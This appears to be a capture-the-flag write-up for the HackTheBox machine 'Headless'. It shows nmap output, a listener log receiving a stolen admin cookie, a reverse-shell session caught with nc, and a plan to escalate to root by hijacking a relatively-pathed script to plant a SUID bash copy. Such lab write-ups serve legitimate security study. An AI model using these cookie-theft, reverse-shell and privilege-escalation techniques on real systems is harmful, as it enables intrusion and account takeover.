Headless is an easy-difficulty HackTheBox machine dealing with XSS (cross site scripting), command injection, and linux. It starts with a basic web app with a contact form with an alert saying that my request headers have been forwarded for analysis after inputting any values. I inject an XSS payload into request headers to fetch the admin cookie. As an admin user, I get access to the dashboard, where I can perform command injection to land a shell. For privilege escalation, I abuse a systemcheck script that tries to run another script with a relative path.
PS C:\Users\0xkujen> nmap -A-Pn10.129.140.133 Nmap scan report for10.129.140.133 Host is up (0.41s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256900294283dab2274df0ea3b20f2bc617 (ECDSA) |_ 2562eb90824021b609460b384a99e1a60ca (ED25519) 5000/tcp open upnp? | fingerprint-strings: | GetRequest: | HTTP/1.1200 OK | Server: Werkzeug/2.2.2 Python/3.11.2 | Date: Sat, 20 Jul 202414:18:16 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 2799 | Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/ | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="UTF-8"> | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | <title>Under Construction</title> | <style> | body { | font-family: 'Arial', sans-serif; | background-color: #f7f7f7; | margin: 0; | padding: 0; | display: flex; | justify-content: center; | align-items: center; | height: 100vh; | .container { | text-align: center; | background-color: #fff; | border-radius: 10px; | box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2); | RTSPRequest: | <!DOCTYPE HTML> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 400</p> | <p>Message: Bad request version ('RTSP/1.0').</p> | <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5000-TCP:V=7.93%I=7%D=7/20%Time=669BC6CF%P=i686-pc-windows-windows% SF:r(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2 SF:\x20Python/3\.11\.2\r\nDate:\x20Sat,\x2020\x20Jul\x202024\x2014:18:16\x SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length SF::\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_ SF:Zfs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html SF:\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n SF:\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wi SF:dth,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construc SF:tion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20 SF:body\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family: SF:\x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20d SF:isplay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justi SF:fy-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20 SF:\x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x2 SF:00,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTY SF:PE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x2 SF:0\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\ SF:x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\ SF:x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20res SF:ponse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20ver SF:sion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error SF:\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\ SF:x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n"); No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=7/20%OT=22%CT=1%CU=40551%PV=Y%DS=2%DC=T%G=Y%TM=669BC77 OS:F%P=i686-pc-windows-windows)SEQ(SP=FB%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A) OS:SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54ES OS:T11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5 OS:=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y% OS:T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD= OS:0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE( OS:R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in200.05 seconds
We can see that we have OpenSSH running on port 22, and what seems to be a Python web app on port 5000.
Web application - 10.129.140.133:5000
Web App Port 5000
Nothing seems to be special about this page except for the For questions button that redirects us to http://10.129.140.133:5000/support
Wappalyzer
Wappalyzer info
Wappalyzer is displaying that this is a Python Flask web application.
PS C:\Users\0xkujen> python3 -m http.server 80 Serving HTTP on :: port 80 (http://[::]:80/) ... ::ffff:10.129.140.133 - - [20/Jul/202418:00:23] code 404, message File not found ::ffff:10.129.140.133 - - [20/Jul/202418:00:23] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1"404 -
That cookie is different than our user cookie, so it must be an admin cookie. We can confirm that on jwt.io :
user-cookie-jwt admin-cookie-jwt
Letβs now update the cookie value for admin and see what we can access. And we can now access http://10.129.140.133:5000/dashboard that we were not able to do previously:
admin dashboard
Upon clicking on Generate Report we get the system status:
system status
Letβs now inspect whatβs happening under the hood:
PS C:\Users\0xkujen> nc -lvnp9001 listening on [any] 9001 ... connect to [10.10.x.x] from (UNKNOWN) [10.129.140.133] 51894 bash: cannot set terminal processgroup (1178): Inappropriate ioctl for device bash: no job control in this shell dvir@headless:~/app$ id id uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users) dvir@headless:~/app$
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi
exit 0
This script check if the root user exists, gets the last modified time of the vmlinuz file in /boot then parses the output of df -h and gets a part of the output of uptime. The script finally runs pgrep to look for any process list with initdb.sh, if none exists it runs ./initdb.sh.
Crafting of initdb.sh script
Iβll write a simple Bash script that will copy bash to /tmp/bash, set the owner of that file to root, and then add sticky bit to it chmod u+s. This will give me a copy of bash that runs as root: